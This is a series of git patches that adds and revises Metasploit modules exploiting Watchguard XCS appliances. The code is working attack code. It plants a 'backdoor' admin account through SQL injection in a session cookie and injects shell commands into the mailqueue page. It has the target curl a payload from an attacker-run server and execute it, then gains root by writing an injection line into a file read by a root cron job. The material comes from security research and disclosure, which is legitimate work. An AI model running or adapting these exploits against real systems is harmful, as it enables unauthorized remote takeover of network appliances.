From 1ede519b8d9ddf3f5bcb7245057bd37b0ebc7414 Mon Sep 17 00:00:00 2001 From: Daniel Jensen Date: Wed, 1 Jul 2015 21:11:23 +1200 Subject: [PATCH 01/14] Added Watchguard XCS remote root exploit module. --- .../freebsd/http/watchguard_remote_root.rb | 275 ++++++++++++++++++ 1 file changed, 275 insertions(+) create mode 100644 modules/exploits/freebsd/http/watchguard_remote_root.rb diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb new file mode 100644 index 0000000000..1c734742c5 --- /dev/null +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -0,0 +1,275 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Watchguard XCS Unauthenticated Remote Root', + 'Description' => %q{ + This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance + to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert + a valid web user into the appliance database, and login to the web interface as this user. A + vulnerability in the web interface allows the attack to inject operating system commands as the + 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited + to run a command as root within 3 minutes. + }, + 'Author' => + [ + 'Daniel Jensen ' # discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ], + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Privileged' => false, + 'Targets' => + [ + [ 'Watchguard XCS 9.2/10.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'June 29 2015' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI', '/']), + OptBool.new('GETROOT', [false, 'Exploit the root privesc (Takes up to 180 seconds)', true]), + Opt::RPORT(443) + ], + self.class + ) + end + + def check + #Check to see if the SQLi is exploitable + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1 AND 1=CAST((select password from sds_users where login='admin' limit 1) as int)" + }) + uri1 = normalize_uri(target_uri.path, '/borderpost/imp/compose.php3') + vprint_status(uri1) + if res and res.body =~ /invalid input syntax for integer/ + vprint_status("Looks vulnerable to the SQLi issue, probably fully vuln") + return Exploit::CheckCode::Vulnerable + else + vprint_status("**Sad trumpet sound**") + vprint_status(res) + return Exploit::CheckCode::Safe + end + end + + + def exploit + #Add the backdoor user to db + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(99, 'backdoor', '0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)--" + }) + + if !res or !res.body + fail_with(Failure::Unreachable, "Could not connect to host") + end + + if res.body =~ /ERROR: duplicate key value violates unique constraint/ + print_status("Added backdoor user, credentials => backdoor:backdoor") + else + fail_with(Failure::UnexpectedReply, "Unable to add backdoor user") + end + + + #Get the login hash/csrf thing needed to login + get_login_hash = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl') + }) + + #Find the hash token needed to login + login_hash = '' + vprint_status(get_login_hash.body) + get_login_hash.body.each_line do |line| + next if line !~ /name="hash" value="(.*)"/ + login_hash = $1 + end + + sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' + + if login_hash == '' || sid_cookie == '' + fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") + end + + + login_post = { + 'u' => 'backdoor', + 'pwd' => 'backdoor', + 'hash' => login_hash, + 'login' => "Login" + } + + print_status("Logging in with backdoor credentials") + login = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl'), + 'method' => 'POST', + 'encode_params' => false, + 'cookie' => "sid=#{sid_cookie}", + 'vars_post' => login_post, + 'vars_get' => { + 'f' => 'V', + } + }) + + + if !login or login.body !~ /Loading...<\/title>/ + vprint_status(login.body) + fail_with(Failure::NoAccess, "Authentication failed") + end + + print_status("Successfully logged in") + + #Check if cmd injection works + test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id") + if test_cmd_inj.body !~ /uid=65534/ + fail_with(Failure::UnexpectedReply, "Could not inject command") + end + + #We have cmd exec, stand up an HTTP server and deliver the payload + print_status("Getting ready to drop binary on appliance") + + downfile = rand_text_alpha(8+rand(8)) + vprint_status("File name is #{downfile}") + + @pl = generate_payload_exe + @elf_sent = false + + resource_uri = '/' + downfile + + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + filename = rand_text_alpha_lower(8) + vprint_status("Asking the appliance to download #{service_url}") + + #Use the cmd exec to pull in shell + dnld_cmd1 = "/usr/local/sbin/curl -k #{service_url} -o /tmp/#{filename}" + vprint_status("Telling appliance to run #{dnld_cmd1}") + send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1) + register_file_for_cleanup("/tmp/#{filename}") + + #wait for payload download + wait_for_payload + + #Chmod the shell binary + chmod_cmd = "chmod +x /tmp/#{filename}" + print_status("Chmoding payload #{downfile}...") + send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) + + if(datastore['GETROOT'] == true) + print_status("GETROOT set to true, we will use 'FixCorruptMail' privesc") + get_root(sid_cookie,filename) + else + print_status("GETROOT set to false, setting up a shell as 'nobody'") + + #exec revshell straight away + exec_cmd = "/tmp/#{filename}" + print_status("Running payload #{downfile}...") + send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) + end + + end + + def get_root(sid_cookie,filename) + print_status("Rooting can take up to 3 minutes, if you want quicker access retry with GETROOT => false") + + #Touch dummy file as part of privesc + touch_cmd="touch /tmp/dummyfile" + vprint_status("Creating dummy file...") + send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, touch_cmd) + + #Put the shell injection line into badqids + setup_privesc = "echo \"../../../../../../tmp/dummyfile;/tmp/#{filename}\" > /var/tmp/badqids" + send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, setup_privesc, true) + + #Need both these files to exploit privesc, delete them once shell opened + register_file_for_cleanup("/var/tmp/badqids") + register_file_for_cleanup("/tmp/dummyfile") + + #Wait for crontab to run vulnerable script + print_status("Badqids created, waiting for vulnerable script to be called by crontab...") + select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run + print_status("Ran out of time, should have root shell by now.") + + end + + def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false) + #This is a handler function that makes HTTP calls to exploit the command injection issue + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "#{uri}"), + 'cookie' => "sid=#{sid_cookie}", + 'encode_params' => true, + 'vars_get' => { + 'f' => 'dnld', + 'id' => ";#{os_cmd}" + } + }) + + #Handle cmd exec failures + if (!res and blocking == false) + fail_with(Failure::Unknown, "Unable to deploy payload") + else + return res + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + vprint_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("A request came in, but the payload wasn't ready yet!") + return + end + print_status("Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + #Wait for the data to be sent + def wait_for_payload + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > 10) + fail_with(Failure::Unknown, "Target didn't request the payload.") + end + end + end +end From f48bb4250e69c64fe8c49896b65f3b61e6502cce Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Wed, 1 Jul 2015 22:03:42 +1200 Subject: [PATCH 02/14] Removed some overly verbose output. --- modules/exploits/freebsd/http/watchguard_remote_root.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb index 1c734742c5..15e18790c1 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'SSL' => true }, 'DefaultTarget' => 0, - 'DisclosureDate' => 'June 29 2015' + 'DisclosureDate' => 'Jun 29 2015' )) register_options( @@ -66,9 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => "sid=1 AND 1=CAST((select password from sds_users where login='admin' limit 1) as int)" }) uri1 = normalize_uri(target_uri.path, '/borderpost/imp/compose.php3') - vprint_status(uri1) if res and res.body =~ /invalid input syntax for integer/ - vprint_status("Looks vulnerable to the SQLi issue, probably fully vuln") + vprint_status("Looks vulnerable to the SQLi issue, probably fully vulnerable") return Exploit::CheckCode::Vulnerable else vprint_status("**Sad trumpet sound**") @@ -103,7 +102,6 @@ class Metasploit3 < Msf::Exploit::Remote #Find the hash token needed to login login_hash = '' - vprint_status(get_login_hash.body) get_login_hash.body.each_line do |line| next if line !~ /name="hash" value="(.*)"/ login_hash = $1 From 3f5721f5be9791f635c2c358eecd52c9430908f9 Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Thu, 2 Jul 2015 13:06:03 +1200 Subject: [PATCH 03/14] Fixed identified issues. --- .../freebsd/http/watchguard_remote_root.rb | 317 ++++++++++-------- 1 file changed, 176 insertions(+), 141 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb index 15e18790c1..c3e8c87676 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -16,145 +16,107 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Watchguard XCS Unauthenticated Remote Root', - 'Description' => %q{ - This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance - to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert - a valid web user into the appliance database, and login to the web interface as this user. A - vulnerability in the web interface allows the attack to inject operating system commands as the - 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited - to run a command as root within 3 minutes. - }, - 'Author' => - [ + 'Name' => 'Watchguard XCS Unauthenticated Remote Root', + 'Description' => %q{ + This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance + to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert + a valid web user into the appliance database, and login to the web interface as this user. A + vulnerability in the web interface allows the attack to inject operating system commands as the + 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited + to run a command as root within 3 minutes. + }, + 'Author' => + [ 'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] - ], - 'Platform' => 'bsd', - 'Arch' => ARCH_X86_64, - 'Privileged' => false, - 'Targets' => - [ - [ 'Watchguard XCS 9.2/10.0', { }] - ], - 'DefaultOptions' => - { - 'SSL' => true - }, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jun 29 2015' - )) + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ], + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Privileged' => false, + 'Targets' => + [ + [ 'Watchguard XCS 9.2/10.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 29 2015' + )) register_options( - [ + [ OptString.new('TARGETURI', [true, 'The target URI', '/']), + OptString.new('USERNAME', [true, 'Add web interface user account', 'backdoor']), + OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), OptBool.new('GETROOT', [false, 'Exploit the root privesc (Takes up to 180 seconds)', true]), Opt::RPORT(443) - ], - self.class - ) - end + ], + self.class + ) + end - def check - #Check to see if the SQLi is exploitable - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), - 'cookie' => "sid=1 AND 1=CAST((select password from sds_users where login='admin' limit 1) as int)" - }) - uri1 = normalize_uri(target_uri.path, '/borderpost/imp/compose.php3') - if res and res.body =~ /invalid input syntax for integer/ - vprint_status("Looks vulnerable to the SQLi issue, probably fully vulnerable") + def check + #Check to see if the SQLi is present + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1'" + }) + if res and res.body =~ /unterminated quoted string/ return Exploit::CheckCode::Vulnerable - else - vprint_status("**Sad trumpet sound**") - vprint_status(res) + end return Exploit::CheckCode::Safe - end - end + end - def exploit - #Add the backdoor user to db - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), - 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(99, 'backdoor', '0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)--" - }) + def exploit + #Generate the password hash + pwd_clear = datastore['PASSWORD'] + pwd_hash = generate_device_hash(pwd_clear) + username = datastore['USERNAME'] + user_id = rand(999) - if !res or !res.body - fail_with(Failure::Unreachable, "Could not connect to host") + sid_cookie = attempt_login(username, pwd_clear) + unless sid_cookie + vprint_status("Failed to login, attempting to add backdoor user...") + unless add_user(user_id, username, pwd_hash, pwd_clear) + fail_with(Failure::Unknown, "Failed to add user account to database.") + end + sid_cookie = attempt_login(username, pwd_clear) + unless (sid_cookie) + fail_with(Failure::Unknown, "Unable to login with user account.") + end end - if res.body =~ /ERROR: duplicate key value violates unique constraint/ - print_status("Added backdoor user, credentials => backdoor:backdoor") - else - fail_with(Failure::UnexpectedReply, "Unable to add backdoor user") - end - - - #Get the login hash/csrf thing needed to login - get_login_hash = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login.spl') - }) - - #Find the hash token needed to login - login_hash = '' - get_login_hash.body.each_line do |line| - next if line !~ /name="hash" value="(.*)"/ - login_hash = $1 - end - - sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' - - if login_hash == '' || sid_cookie == '' - fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") - end - - - login_post = { - 'u' => 'backdoor', - 'pwd' => 'backdoor', - 'hash' => login_hash, - 'login' => "Login" - } - - print_status("Logging in with backdoor credentials") - login = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login.spl'), - 'method' => 'POST', - 'encode_params' => false, - 'cookie' => "sid=#{sid_cookie}", - 'vars_post' => login_post, - 'vars_get' => { - 'f' => 'V', - } - }) - - - if !login or login.body !~ /<title>Loading...<\/title>/ - vprint_status(login.body) - fail_with(Failure::NoAccess, "Authentication failed") - end - - print_status("Successfully logged in") - #Check if cmd injection works test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id") - if test_cmd_inj.body !~ /uid=65534/ + unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/ fail_with(Failure::UnexpectedReply, "Could not inject command") end #We have cmd exec, stand up an HTTP server and deliver the payload - print_status("Getting ready to drop binary on appliance") + vprint_status("Getting ready to drop binary on appliance") downfile = rand_text_alpha(8+rand(8)) vprint_status("File name is #{downfile}") + #Generate payload @pl = generate_payload_exe @elf_sent = false + waited = 0 + while (not @pl) + print_status("Waiting for payload to finish generating...") + select(nil,nil,nil,1) + waited += 1 + if (waited > 20) + fail_with(Failure::Unknown, "Unable to generate payload within a reasonable time.") + end + end resource_uri = '/' + downfile @@ -167,10 +129,10 @@ class Metasploit3 < Msf::Exploit::Remote service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri }}) filename = rand_text_alpha_lower(8) @@ -182,12 +144,12 @@ class Metasploit3 < Msf::Exploit::Remote send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1) register_file_for_cleanup("/tmp/#{filename}") - #wait for payload download + #Wait for payload to be requested by appliance wait_for_payload #Chmod the shell binary chmod_cmd = "chmod +x /tmp/#{filename}" - print_status("Chmoding payload #{downfile}...") + vprint_status("Chmoding payload #{downfile}...") send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) if(datastore['GETROOT'] == true) @@ -195,30 +157,98 @@ class Metasploit3 < Msf::Exploit::Remote get_root(sid_cookie,filename) else print_status("GETROOT set to false, setting up a shell as 'nobody'") - - #exec revshell straight away exec_cmd = "/tmp/#{filename}" - print_status("Running payload #{downfile}...") + vprint_status("Running payload #{downfile}...") send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) end end + def attempt_login(username,pwd_clear) + #Attempts to login with the provided user credentials + #Get the login page + get_login_hash = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl') + }) + + unless get_login_hash and get_login_hash.body + fail_with(Failure::Unreachable, "Could not get login page.") + end + + #Find the hash token needed to login + login_hash = '' + get_login_hash.body.each_line do |line| + next if line !~ /name="hash" value="(.*)"/ + login_hash = $1 + end + + sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || '' + if login_hash == '' || sid_cookie == '' + fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie") + end + + login_post = { + 'u' => "#{username}", + 'pwd' => "#{pwd_clear}", + 'hash' => login_hash, + 'login' => "Login" + } + print_status("Attempting to login with provided credentials") + login = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login.spl'), + 'method' => 'POST', + 'encode_params' => false, + 'cookie' => "sid=#{sid_cookie}", + 'vars_post' => login_post, + 'vars_get' => { + 'f' => 'V' + } + }) + + + unless login and login.body =~ /<title>Loading...<\/title>/ + return false + end + + print_status("Successfully logged in") + return sid_cookie + end + + def add_user(user_id, username, pwd_hash, pwd_clear) + #Adds a user to the database using the unauthed SQLi + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'), + 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--" + }) + + unless res and res.body + fail_with(Failure::Unreachable, "Could not connect to host") + end + + if res.body =~ /ERROR: duplicate key value violates unique constraint/ + print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}") + else + fail_with(Failure::UnexpectedReply, "Unable to add user to database") + end + return true + end + def get_root(sid_cookie,filename) print_status("Rooting can take up to 3 minutes, if you want quicker access retry with GETROOT => false") #Touch dummy file as part of privesc - touch_cmd="touch /tmp/dummyfile" + dummy_filename = rand_text_alpha_lower(8) + touch_cmd="touch /tmp/#{dummy_filename}" vprint_status("Creating dummy file...") send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, touch_cmd) #Put the shell injection line into badqids - setup_privesc = "echo \"../../../../../../tmp/dummyfile;/tmp/#{filename}\" > /var/tmp/badqids" + setup_privesc = "echo \"../../../../../../tmp/#{dummy_filename};/tmp/#{filename}\" > /var/tmp/badqids" send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, setup_privesc, true) #Need both these files to exploit privesc, delete them once shell opened register_file_for_cleanup("/var/tmp/badqids") - register_file_for_cleanup("/tmp/dummyfile") + register_file_for_cleanup("/tmp/#{dummy_filename}") #Wait for crontab to run vulnerable script print_status("Badqids created, waiting for vulnerable script to be called by crontab...") @@ -227,33 +257,38 @@ class Metasploit3 < Msf::Exploit::Remote end + def generate_device_hash(cleartext_password) + #Generates the specific hashes needed for the XCS + pre_salt = "BorderWare " + post_salt = " some other random (9) stuff" + hash_tmp = Digest::MD5.hexdigest (pre_salt + cleartext_password + post_salt) + final_hash = Digest::MD5.hexdigest (cleartext_password + hash_tmp) + return final_hash + end + def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false) #This is a handler function that makes HTTP calls to exploit the command injection issue res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "#{uri}"), - 'cookie' => "sid=#{sid_cookie}", - 'encode_params' => true, - 'vars_get' => { - 'f' => 'dnld', - 'id' => ";#{os_cmd}" - } + 'uri' => normalize_uri(target_uri.path, "#{uri}"), + 'cookie' => "sid=#{sid_cookie}", + 'encode_params' => true, + 'vars_get' => { + 'f' => 'dnld', + 'id' => ";#{os_cmd}" + } }) #Handle cmd exec failures if (!res and blocking == false) - fail_with(Failure::Unknown, "Unable to deploy payload") - else - return res + fail_with(Failure::Unknown, "Failed to exploit command injection.") end + + return res end - # Handle incoming requests from the server + #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("A request came in, but the payload wasn't ready yet!") - return - end print_status("Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) From 4e22fce7ef55a426c9f6689ba90d6dbadd44089e Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Sun, 13 Sep 2015 16:23:23 +1200 Subject: [PATCH 04/14] Switched to using Rex MD5 function --- modules/exploits/freebsd/http/watchguard_remote_root.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_remote_root.rb index c3e8c87676..bb052dcbf2 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_remote_root.rb @@ -261,8 +261,8 @@ class Metasploit4 < Msf::Exploit::Remote #Generates the specific hashes needed for the XCS pre_salt = "BorderWare " post_salt = " some other random (9) stuff" - hash_tmp = Digest::MD5.hexdigest (pre_salt + cleartext_password + post_salt) - final_hash = Digest::MD5.hexdigest (cleartext_password + hash_tmp) + hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt) + final_hash = Rex::Text.md5(cleartext_password + hash_tmp) return final_hash end From bdd90655e47d694124c8efb07bbe956465178703 Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Wed, 16 Sep 2015 23:11:32 +1200 Subject: [PATCH 05/14] Split off privesc into a seperate module --- .../freebsd/misc/watchguard_local_privesc.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/exploits/freebsd/misc/watchguard_local_privesc.rb diff --git a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb new file mode 100644 index 0000000000..b8d37f80dc --- /dev/null +++ b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Watchguard XCS Local Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called by root's crontab + which can be exploited to run a command as root within 3 minutes. + }, + 'Author' => + [ + 'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ], + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => [ 'shell' ], + 'Privileged' => false, + 'Targets' => + [ + [ 'Watchguard XCS 9.2/10.0', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 29 2015' + )) + end + + def check + #Basic check to see if the device is a Watchguard XCS + res = cmd_exec('uname -a') + return Exploit::CheckCode::Appears if res =~ /support-xcs@watchguard.com/ + + Exploit::CheckCode::Safe + end + + def upload_payload + #Generates and uploads the payload to the device + fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}" + @pl = generate_payload_exe + write_file(fname, @pl) + return nil if not file_exist?(fname) + cmd_exec("chmod +x #{fname}") + return fname + end + + def exploit + print_status("Rooting can take up to 3 minutes.") + + #Generate and upload the payload + filename = upload_payload + fail_with(Failure::NotFound, "Payload failed to upload") if filename.nil? + print_status("Payload #{filename} uploaded.") + + #Sets up empty dummy file needed for privesc + dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}" + cmd_exec("touch #{dummy_filename}") + vprint_status("Added dummy file") + + #Put the shell injection line into badqids + #setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids" + badqids = write_file("/var/tmp/badqids","../../../../../..#{dummy_filename};#{filename}") + fail_with(Failure::NotFound, "Failed to create badqids file to exploit crontab") if badqids.nil? + print_status("Badqids created, waiting for vulnerable script to be called by crontab...") + #cmd_exec(setup_privesc) + + #Cleanup the files we used + register_file_for_cleanup("/var/tmp/badqids") + register_file_for_cleanup(dummy_filename) + register_file_for_cleanup(filename) + + #Wait for crontab to run vulnerable script + select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run + print_status("Ran out of time, should have root shell by now.") + + end + +end From 7985d0d7cb3901ddd1c10f52c651f12be05e3eec Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Wed, 16 Sep 2015 23:29:26 +1200 Subject: [PATCH 06/14] Removed privesc functionality, this has been moved to another module. Renamed module --- ..._remote_root.rb => watchguard_cmd_exec.rb} | 50 ++++--------------- 1 file changed, 9 insertions(+), 41 deletions(-) rename modules/exploits/freebsd/http/{watchguard_remote_root.rb => watchguard_cmd_exec.rb} (78%) diff --git a/modules/exploits/freebsd/http/watchguard_remote_root.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb similarity index 78% rename from modules/exploits/freebsd/http/watchguard_remote_root.rb rename to modules/exploits/freebsd/http/watchguard_cmd_exec.rb index bb052dcbf2..2f7b4b5058 100644 --- a/modules/exploits/freebsd/http/watchguard_remote_root.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -16,14 +16,13 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Watchguard XCS Unauthenticated Remote Root', + 'Name' => 'Watchguard XCS Remote Command Execution', 'Description' => %q{ - This module exploits three seperate vulnerabilities found in the Watchguard XCS virtual appliance - to gain a root shell. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert + This module exploits two seperate vulnerabilities found in the Watchguard XCS virtual appliance + to gain command execution. By exploiting an unauthenticated SQL injection vulnerability, a remote attacker may insert a valid web user into the appliance database, and login to the web interface as this user. A - vulnerability in the web interface allows the attack to inject operating system commands as the - 'nobody' user. A further vulnerability in the 'FixCorruptMail' script called by root's crontab can then be exploited - to run a command as root within 3 minutes. + vulnerability in the web interface allows the attacker to inject operating system commands as the + 'nobody' user. The watchguard_local_root module can then be used for local privesc to root. }, 'Author' => [ @@ -52,9 +51,8 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The target URI', '/']), - OptString.new('USERNAME', [true, 'Add web interface user account', 'backdoor']), + OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']), OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), - OptBool.new('GETROOT', [false, 'Exploit the root privesc (Takes up to 180 seconds)', true]), Opt::RPORT(443) ], self.class @@ -152,15 +150,9 @@ class Metasploit4 < Msf::Exploit::Remote vprint_status("Chmoding payload #{downfile}...") send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) - if(datastore['GETROOT'] == true) - print_status("GETROOT set to true, we will use 'FixCorruptMail' privesc") - get_root(sid_cookie,filename) - else - print_status("GETROOT set to false, setting up a shell as 'nobody'") - exec_cmd = "/tmp/#{filename}" - vprint_status("Running payload #{downfile}...") - send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) - end + exec_cmd = "/tmp/#{filename}" + vprint_status("Running payload #{downfile}...") + send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) end @@ -233,30 +225,6 @@ class Metasploit4 < Msf::Exploit::Remote return true end - def get_root(sid_cookie,filename) - print_status("Rooting can take up to 3 minutes, if you want quicker access retry with GETROOT => false") - - #Touch dummy file as part of privesc - dummy_filename = rand_text_alpha_lower(8) - touch_cmd="touch /tmp/#{dummy_filename}" - 